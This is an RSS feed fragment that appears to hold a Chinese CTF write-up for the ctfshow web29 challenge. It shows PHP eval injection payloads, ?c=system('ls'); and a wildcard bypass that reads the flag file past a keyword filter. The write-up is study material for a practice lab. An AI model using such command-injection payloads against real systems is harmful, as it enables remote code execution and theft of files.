            <description>&lt;h1 id=&#34;ctfshow-web29&#34;&gt;ctfshow web29&#xD;&#xA;&lt;/h1&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;题号&lt;/strong&gt;：web29&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;难度&lt;/strong&gt;：⭐&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;考点&lt;/strong&gt;：如 SQL 注入（无回显）&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;日期&lt;/strong&gt;：2026-8-28&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;题目描述&#34;&gt;题目描述&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;&lt;img alt=&#34;Pasted image 20260828094919&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260828094919.png&#34;&gt;&#xA;一个简单的eval命令执行，只是过滤了flag&lt;/p&gt;&#xA;&lt;h2 id=&#34;解题思路&#34;&gt;解题思路&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;1.先简单审计函数，发现里面出现了关键函数“eval”&#xA;2.想到代码执行转变为命令执行去查看本地文件&#xA;3.发现flag文件，因为有过滤，所以我们可以使用占位符？或者通配符*去绕过&lt;/p&gt;&#xA;&lt;h2 id=&#34;payload--关键操作&#34;&gt;Payload / 关键操作&#xD;&#xA;&lt;/h2&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2.?c=system(&amp;#39;ls&amp;#39;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;3.?c=system(&amp;#39;tac fla?.php&amp;#39;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;复现截图&#34;&gt;复现截图&#xD;&#xA;&lt;/h2&gt;&lt;ol start=&#34;2&#34;&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;Pasted image 20260828095211&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260828095211.png&#34;&gt;&#xA;3.&lt;img alt=&#34;Pasted image 20260828095517&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260828095517.png&#34;&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;对应课程章节&#34;&gt;对应课程章节&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;59.RCE命令执行&lt;/p&gt;&#xA;&lt;h2 id=&#34;踩坑记录--复盘&#34;&gt;踩坑记录 / 复盘&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;值得注意的是，我不知道是bug还是它内部过滤的原因，反正就是用不了cat命令&lt;/p&gt;&#xA;</description>
        </item></channel>
</rss>
